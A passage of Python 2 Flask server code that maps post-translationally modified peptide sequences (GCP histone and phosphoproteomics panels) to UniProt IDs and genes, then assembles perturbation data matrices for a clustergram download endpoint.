"RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", # "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", # "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", # "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", # "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", # "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", # "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", # "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", # "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", # "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", # "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", # "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", # "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", # "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", # "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", # "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", # "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", # "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", # "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", # "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", # "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", # "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", # "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", # "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", # "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", # "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", # "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", # "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", # "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", # "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", # "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", # "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", # "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", # "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", # "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", # "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", # "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", # "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", # "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", # "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", # "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", # "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", # "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } iter = 0 for key in peptide2ptm: value = peptide2ptm[key] print value iter += 1 print iter return @app.route("/api/GCP/downlowdslice/<input_list>") def GCPSlicingDownload(input_list): compounds = [] results = {} for var in input_list.split(","): compounds.append(var.upper()) # row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] peptide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } meta_data = pd.read_csv('static/data/GCP-all-plates-metaData.csv', sep=',', header=None) #print meta_data for i in range(0, 79): peptide = str(meta_data[4][28 + i]) if(peptide == 'T[+56]K[+42]QTAR'): print str(meta_data[2][28 + i]) if(str(meta_data[2][28 + i]) == 'BI10006'): peptide = "T[+56]K[+42]QTAR-me3K" else: peptide = "T[+56]K[+42]QTAR-aK" print peptide row_peptide.append(peptide) shorthand = peptide2ptmAndGene[peptide] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(meta_data[9][28 + i])) row_gene.append('Gene: ' + str(meta_data[6][28 + i])) col_cell_line = [] col_pert_dose = [] col_pert_time = [] col_pert_name = [] col_pert_signature = [] col_pert_type = [] first_loop = True # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) # open('static/data/P100_processed_perturb_for_clustergramm_slicing.json') as f: with open('static/data/GCP_processed_perturb_for_clustergramm_slicing.json') as f: data = json.load(f) cp_iter = 1 for var in compounds: cp = str(var).upper() print cp if cp in data: for iter in data[cp]: print cp_iter cp_iter += 1 col_cell_line.append('Cell Line: ' + iter["Cell_line"]) col_pert_dose.append('Dose: ' + iter["Dose"]) col_pert_time.append('Time: ' + iter["Time"]) col_pert_name.append(iter["Perturbations"]+"/Dose/"+iter["Dose"]+"/Time/"+iter["Time"]+"/CellLine/"+iter["Cell_line"]+"/Signature ID/"+iter["Sig_id"]) col_pert_signature.append('Signature ID: ' + iter["Sig_id"]) col_pert_type.append('Type: ' + iter["Type"]) x1 = np.array(iter["data"]) # print "end of loop1" x2 = x1[:, np.newaxis] # print "end of loop2" my_data_final = np.asarray(x2) # print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) arrays_rows2 = [np.array(row_peptide)] arrays_columns2 = [np.array(col_pert_name)] # print arrays_columns2 # arrays_rows2 = np.load("static/data/P100_rowMetaDat") tuples_rows2 = list(zip(*arrays_rows2)) # print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) # print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) # my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) # a2 = my_data_con aa = a2.astype(np.float) print "a2.shape" print a2.shape print "columns_labels2.shape" print columns_labels2.shape print "rows_labels2.shape" print rows_labels2.shape # 